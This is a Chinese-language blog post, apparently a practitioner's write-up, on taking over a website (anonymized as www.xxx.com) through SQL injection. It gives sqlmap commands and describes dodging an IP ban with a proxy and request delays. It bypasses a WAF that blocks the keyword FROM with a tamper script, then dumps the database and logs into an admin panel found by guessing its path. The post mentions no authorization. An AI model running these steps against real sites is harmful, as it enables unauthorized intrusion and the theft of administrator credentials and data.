實戰|記一次SQL注入過WAF思路分享
- 2019 年 11 月 20 日
- 筆記
判斷注入點
輸入 ' –> 報錯
輸入 '' –> 回顯正常
可以確定是使用單引號閉合的

輸入 ' and '1'='1 –> 回顯正常, 可以查詢到數據

輸入 ' and '1'='2 –> 回顯正常, 但未查詢到數據
可以確定存在注入

接下來就是跑數據, 直接掏出sqlmap
sqlmap -u "http://www.xxx.com?id=2" --batch
一片紅!!! nice
再次訪問IP已經被封掉了

根據經驗推測應該是因為訪問過於頻繁導致的
開代理換個IP, 加個延時參數繼續
OK, 成功跑出注入點
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch

查詢當前資料庫用戶許可權, 不是高許可權, 所以只能去找Web後台管理員帳號密碼
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --is-dba

查詢當前資料庫, 成功
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --current-db

查詢表, 失敗
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [庫名] --tables
嗯??? nice
有WAF, 趕緊去訪問網站看看IP有沒有被封
還好, 沒有被封

顯示payload, 看看是哪句被攔截了
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [庫名] --tables -v 3
可以看到第一次被攔截的payload

將被攔截的payload的放到瀏覽器中去訪問, 果然被WAF攔截了

手工模糊測試, 發現被攔截的為關鍵字: FROM

這裡說下個人思路:
- 在已經確定是什麼WAF的前提下, 網上去查詢過相關WAF的思路, 這裡我找到了幾個, 嘗試後還是沒有繞過去
- sqlmap自帶有過WAF腳本, 我去查詢了下有沒有能代替<FROM>的其他關鍵字, 很遺憾沒找到
- 然後考慮嘗試使用編碼, 注釋類的腳本去過, 經過反覆測試, 成功繞過
- 查詢tamper腳本的相關文章鏈接: https://www.freebuf.com/sectool/179035.html
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [庫名] --tables -v 3 --tamper=halfversionedmorekeywords

接下來就簡單多了
查詢表–tables

查詢列–columns

查詢數據–dump

sqlmap跑數據的同時, 我去找了下後台
因為限制了訪問速度, 所以這裡我沒有選擇用御劍等工具去掃, 一般情況下可以先去做下目錄掃描
看看有沒有robots.txt文件, 404

搜索引擎搜索一波

找到一個會員登錄的頁面: http://www.xxx.com/login.aspx
額…, 一看會員登錄是這種文件名, 管理員後台也不會難找到哪裡去

順手在login.aspx前加了個admin
http://www.xxx.com/admin/login.aspx
特么的就訪問成功了…
所以這裡我得出了一個重要的結論: 運氣好等於成功了一半 (手動滑稽)

成功登錄, 至此測試結束
這裡不再進行深入測試
